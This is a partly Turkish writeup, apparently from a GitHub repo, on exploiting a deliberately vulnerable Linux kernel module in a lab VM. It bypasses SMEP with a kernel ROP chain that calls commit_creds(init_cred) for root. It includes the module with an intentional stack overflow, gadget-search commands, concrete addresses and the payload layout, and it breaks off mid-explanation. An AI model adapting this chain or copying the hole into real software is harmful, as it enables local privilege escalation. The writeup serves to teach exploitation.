Linux Kernel 6.17 Stack Overflow - SMEP Bypass via kROP (Turkce Writeup)
Author: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass
This writeup examines how to exploit a kernel stack overflow vulnerability on Linux kernel 6.17.0-5-generic with SMEP and SMAP enabled. The classic ret2user method is ineffective against this protection. As an alternative, a Kernel ROP (kROP) chain is used.
Other protections (KASLR, KPTI, shadow stack, stack canary) are disabled in this environment; the focus is solely on the SMEP bypass technique.
SMEP (Supervisor Mode Execution Prevention) is a processor-level protection. The kernel cannot execute code in memory pages belonging to user space. In other words, when you write shellcode into a user buffer and redirect the kernel there, the CPU stops you immediately.
This is why classic ret2user is dead.
You can verify from GDB that SMEP and SMAP are enabled:
info register cr4
If the value is 0x372ef0, convert it to binary and look at the bits:
0x372ef0 → 0011 0111 0010 1110 1111 0000
Right to left, starting from index 0:
| Bit group | Range | Meaning |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 set → SMEP active. The CPU blocks code execution on Ring 3 pages from Ring 0.
One note: Starting with kernel 5.16, the CR4 register is "pinned". Previously, the SMEP bit could be cleared with gadgets like mov cr4, rax. That door is now closed. But this doesn't matter because we won't touch CR4 at all.
vmlinuz must be copied from the guest to the host. After copying, convert it to vmlinux_raw:
./extract-vmlinux vmlinuz > vmlinux_raw
Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
The GRUB line in the guest:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
QEMU launch command:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
Start GDB on the host while the system is booting:
gdb ./vmlinux_raw
# ardından: continue
Source: rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
Buffer is a fixed 64 bytes. _copy_from_user never checks how many bytes are being copied. Sending even 65 bytes from the user space is enough; the kernel stack begins to be corrupted.
Exploitation entry point: /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
Ardından rop.ko'ı host'a kopyalayın (GDB için sembol bilgisi gerekiyor).
x64 çağrı kuralı: ilk argüman RDI, ikinci RSI, üçüncü RDX, dördüncü RCX.
device_write çağrıldığında kernel stack'te dönüş adresi rbp+8 konumundadır. Hedefimiz bu adresi kontrol altına almak.
LKM debug sembolleriyle derlendi, bu yüzden GDB ile düzgün takip edeceğiz.
Guest'te modül adreslerine bakın:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
Press Ctrl+C on the host GDB, load the symbols:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
Breakpoint before and after _copy_from_user:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Create an 88-byte pattern with Metasploit:
msf-pattern_create -l 88
Save the pattern as payload.txt, send it with find_offset:
gcc -o find_offset find_offset.c
./find_offset payload.txt
It will stop at the kernel breakpoint. Note the contents of rbp+8 in GDB. At the second breakpoint, you will see that rbp+8 is filled with the pattern.
Calculate the offset on the host:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
The return address is written starting from byte 72.
Why can ROP bypass SMEP? Because ROP uses code that already exists in the kernel's own .text region. It does not execute new code. It never touches user memory. SMEP cannot see this.
Save the user space registers before iretq:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" clobber critique: if GCC caches these values, the iretq frame will be corrupted.
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
Why is there no prepare_kernel_cred?
In Kernel 6.17, a clean register transfer gadget like mov rdi, rax ; ret could not be found. init_cred is already a static address, and pop rdi; ret is sufficient. The payload also stays small: 144 bytes.
Gadget addresses:
commit_creds and init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → opcode \x5f\xc3
.text range:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
Verify the first result 0xffffffff812582bd → in GDB with x/3i 0xffffffff812582bd. Clean pop rdi; ret array.
swapgs + iretq → opcodes: 0x0F 0x01 0xF8 and 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
The script returns two candidates. 0xffffffff81001866 contains too many pops, which corrupts the stack. Examine 0xffffffff8100118f:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241
At the point it skipped:
0xffffffff81001241: test BYTE PTR [rsp+0x20], 0x4
0xffffffff81001246: jne 0xffffffff8100124a
0xffffffff81001248: iretq
Why does this flow work? user_cs = 0x33, user_ss = 0x2b:
test [rsp+0x8], 0x3 → 0x33 AND 0x03 = 0x03 → ZF=0 → jne çalışır → 0x81001241'e atlar
test [rsp+0x20], 0x4 → 0x2b AND 0x04 = 0x00 → ZF=1 → jne çalışmaz → iretq çalışır
iretq takes from the stack in order: